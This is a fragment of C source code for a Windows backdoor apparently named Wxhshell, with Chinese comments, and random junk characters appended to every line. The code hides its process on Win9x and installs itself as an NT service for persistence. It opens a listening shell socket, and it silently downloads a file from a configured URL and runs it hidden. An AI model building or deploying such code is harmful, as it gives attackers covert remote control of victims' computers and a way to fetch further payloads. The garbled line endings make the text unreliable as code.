DWORD BasePriority; poBeEpbs
ULONG UniqueProcessId; T >8P1p@A,
ULONG InheritedFromUniqueProcessId; iTHwH{!
} PROCESS_BASIC_INFORMATION; u+V*U5v
*?<N3Rr*
PROCNTQSIP NtQueryInformationProcess; ,)`_?^\$f
%}@iz(*}>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i >3`V6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?W'z5'|
`O6#-<>
HANDLE hProcess; !R8%C!=a
PROCESS_BASIC_INFORMATION pbi; s!(R
L3{(Bu
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2Wzx1_D"a
if(NULL == hInst ) return 0; HTh?&u\QG
Xc-["y64
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YF{MXK}
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vx9!KWy}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4AJ] qu
JX0M3|I=
if (!NtQueryInformationProcess) return 0; ox&5}&\
`bQ_eRw}
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l>\EkUT
if(!hProcess) return 0; ^BF}wQb:j
&ZD@-"@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8xB-cE
k3bQ32()
CloseHandle(hProcess); r<0E[~
*duG/?>P
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dBI-y6R
if(hProcess==NULL) return 0; Y|R=^
=d\
_9>,9aL
HMODULE hMod; Hf('BagBL
char procName[255]; SRfh{u
unsigned long cbNeeded; m]?Z_*1
9\ "\7S/Z
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); btg= # u
r6FTpOF
CloseHandle(hProcess); *5Zow 3
D=ej%]@iw
if(strstr(procName,"services")) return 1; // 以服务启动 Mqr]e#"o
F?6kkLS/
return 0; // 注册表启动 EA~xxKq
} d[t0K]
_s;y0$O
// 主模块 Q# hRnM
int StartWxhshell(LPSTR lpCmdLine) 6Rfv3
{ !` 1h *}
SOCKET wsl; eV"%(<{
BOOL val=TRUE; K e4oLF2
int port=0; oB 1Qw'J
w
struct sockaddr_in door; w>2lG3H<
S#GxKMO%
if(wscfg.ws_autoins) Install(); !l*A3qA
,g?ny<#o
port=atoi(lpCmdLine); M@TG7M7Os
d~8U1}dP
if(port<=0) port=wscfg.ws_port; =>'8<"M5z
`sm Cfh}j6
WSADATA data; ]\yB,
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; THwM',6
CzV;{[?~;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z#+WK|a
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \hX,z =
door.sin_family = AF_INET; 9i\}^ s2
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kyh6QA^
door.sin_port = htons(port); ]-t)wGr
\udB4O
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P8c_GEna
closesocket(wsl); QjLU@?&
return 1; Z0&^(Fb
} FJ84'T\~
bbjba36RO
if(listen(wsl,2) == INVALID_SOCKET) { JM;bNW8
closesocket(wsl); eP~3m
return 1; IX+Jf? &^
} nC3+Zka
Wxhshell(wsl); wwl,F=| Y
WSACleanup(); u[qy1M0
U,2OofLM
return 0; St?mq* ,
D:9^^uVp
} #<Y.+:
Q%O9DCi
// 以NT服务方式启动 SLuQv?R}9
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Vt|;P}
{ K21Xx`XK
DWORD status = 0; 1le9YL1_g
DWORD specificError = 0xfffffff; ZTTA??}Y
q-t%spkl
serviceStatus.dwServiceType = SERVICE_WIN32; eSoX|2g
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _j+,'\B
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *{?2M6Z
serviceStatus.dwWin32ExitCode = 0; ^U~Er'mT
serviceStatus.dwServiceSpecificExitCode = 0; E{6ku=2F
serviceStatus.dwCheckPoint = 0; k?h{6Qd
serviceStatus.dwWaitHint = 0; Mzg3i*
NATi)A"TZ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :(enaHn#~
if (hServiceStatusHandle==0) return; .U(6])%;@
iY>xx~V
status = GetLastError(); ]yKwH 9sl
if (status!=NO_ERROR) wp:$Tq a$
{ 8TYh&n=r
serviceStatus.dwCurrentState = SERVICE_STOPPED; eQQVfEvS
serviceStatus.dwCheckPoint = 0; 8GxT!
serviceStatus.dwWaitHint = 0; Oi?Q^ISxP
serviceStatus.dwWin32ExitCode = status; 3R/6/+S-
serviceStatus.dwServiceSpecificExitCode = specificError; ~^.,Ftkb@7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 08:K9zr
return; -rsS_[$2
} cMi9 Z]
`T[yyOL/
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0(&uH0x
serviceStatus.dwCheckPoint = 0; 5M\0t\uEn
serviceStatus.dwWaitHint = 0; Mxz
X@GBX
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,~;`@
} 5%S5*c6BD
NZ`6iK-V_
// 处理NT服务事件,比如:启动、停止 }c/#WA|b
VOID WINAPI NTServiceHandler(DWORD fdwControl) QPVr:+\B{
{ 8;=?F>]xn
switch(fdwControl) W=2.0QmW
{ IF>v
-Z
case SERVICE_CONTROL_STOP: |\B\IPs{%'
serviceStatus.dwWin32ExitCode = 0; L\Oxyi<{
serviceStatus.dwCurrentState = SERVICE_STOPPED; akw:3+`
serviceStatus.dwCheckPoint = 0; \yymp70w
serviceStatus.dwWaitHint = 0; %|@?)[;
{ R(Vd[EGY
SetServiceStatus(hServiceStatusHandle, &serviceStatus); CWs;1`aP
} yq3"VFh3d
return; ?_pd#W=!
case SERVICE_CONTROL_PAUSE: ,S(_YS^m
serviceStatus.dwCurrentState = SERVICE_PAUSED; jM*wm~4>@
break; IAd^$9
case SERVICE_CONTROL_CONTINUE: .*k!Zl*
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;2 o{6
break; JF&$'
case SERVICE_CONTROL_INTERROGATE: hW,GsJ,
break; \^F6)COy
}; 0jpyc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;F_&h#D]3
} ?{Xp'D\z
s5 Fn("h]n
// 标准应用程序主函数 yPbOiA*lHz
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o\j<EQb.
{ *=z.H
*
|q o3
E
// 获取操作系统版本 hQSJt[8My
OsIsNt=GetOsVer(); 5}NO~Xd<
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6O5E4=
p*P0<01Z
// 从命令行安装 7;}TNK\+v
if(strpbrk(lpCmdLine,"iI")) Install(); ku^2K
C~iFFh6:
// 下载执行文件 kGq<Zmy|
if(wscfg.ws_downexe) { VAxk?P0j6
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _}Gs9sHr0K
WinExec(wscfg.ws_filenam,SW_HIDE); RkdAzv!Y7
} # 9f
4{=\
7Ph+Vs+h
if(!OsIsNt) { `Geq,
// 如果时win9x,隐藏进程并且设置为注册表启动 d\z':d.Tt
HideProc(); 43J8PMY
StartWxhshell(lpCmdLine); }=3W(1cu-
} p|Fhh\,*`X
else G`!;RX
if(StartFromService()) uuhvd h=
// 以服务方式启动 8DrKq]&
StartServiceCtrlDispatcher(DispatchTable); (aCl*vV1
else J! eVw\6
// 普通方式启动 nfvs"B;
StartWxhshell(lpCmdLine); I^A01\p
S67T:ARS
return 0; FH H2
}